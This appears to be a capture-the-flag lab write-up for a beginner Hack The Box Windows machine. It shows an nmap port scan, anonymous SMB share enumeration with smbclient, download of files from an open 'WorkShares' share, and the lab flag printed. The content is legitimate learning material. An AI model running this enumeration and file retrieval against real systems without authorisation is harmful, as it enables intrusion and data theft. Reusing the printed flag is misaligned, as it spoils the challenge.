Our new target machine's IP is now 10.129.120.29, let's do our basic scans to start off:

```
[us-starting-point-2-dhcp]-[10.10.14.203]-[emrom8@htb-wwcaodu5rp]-[~]
 [★]$ nmap -p- -sV 10.129.120.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-06 09:49 CDT
Nmap scan report for 10.129.120.29
Host is up (0.0097s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

We know a SMB protocols usually operate on port 445, and the above that port is open and running service 'microsoft-ds'. Lets try using the 'smbclient' command with '-L' to list the available shares and '-N' to suppress the password prompt.

```
[us-starting-point-2-dhcp]-[10.10.14.203]-[emrom8@htb-wwcaodu5rp]-[~]
 [★]$ smbclient -L 10.129.120.29 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.120.29 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Let's now see what shares we have access to with our current permissions, let's first assume we'll have access to 'WorkShares':

```
[us-starting-point-2-dhcp]-[10.10.14.203]-[emrom8@htb-wwcaodu5rp]-[~]
 [★]$ smbclient //10.129.120.29/WorkShares
Password for [WORKGROUP\emrom8]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Mar 29 03:22:01 2021
  ..                                  D        0  Mon Mar 29 03:22:01 2021
  Amy.J                               D        0  Mon Mar 29 04:08:24 2021
  James.P                             D        0  Thu Jun  3 03:38:03 2021

                5114111 blocks of size 4096. 1750571 blocks available
smb: \>
```

Let’s check what’s stored inside Amy.J and James.P and extract any files:

```
Current directory is \Amy.J\
smb: \Amy.J\> ls
  .                                   D        0  Mon Mar 29 04:08:24 2021
  ..                                  D        0  Mon Mar 29 04:08:24 2021
  worknotes.txt                       A       94  Fri Mar 26 06:00:37 2021

                5114111 blocks of size 4096. 1750571 blocks available
smb: \Amy.J\> get worknotes.txt
getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```

```
smb: \> cd James.P\
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 03:38:03 2021
  ..                                  D        0  Thu Jun  3 03:38:03 2021
  flag.txt                            A       32  Mon Mar 29 04:26:57 2021

                5114111 blocks of size 4096. 1750556 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```

And looks like we found our flag, lets open it up:

```
┌─[us-starting-point-2-dhcp]─[10.10.14.203]─[emrom8@htb-wwcaodu5rp]─[~]
└──╼ [★]$ ls
cacert.der  Documents  flag.txt  my_data   Public     Videos
Desktop     Downloads  Music     Pictures  Templates  worknotes.txt
┌─[us-starting-point-2-dhcp]─[10.10.14.203]─[emrom8@htb-wwcaodu5rp]─[~]
└──╼ [★]$ cat flag.txt
5f61c10dffbc77a704d76016a22f1664┌─[us-starting-point-2-dhcp]─[10.10.14.203]─[emrom8@htb-wwcaodu5rp]─[~]
```

Third one down!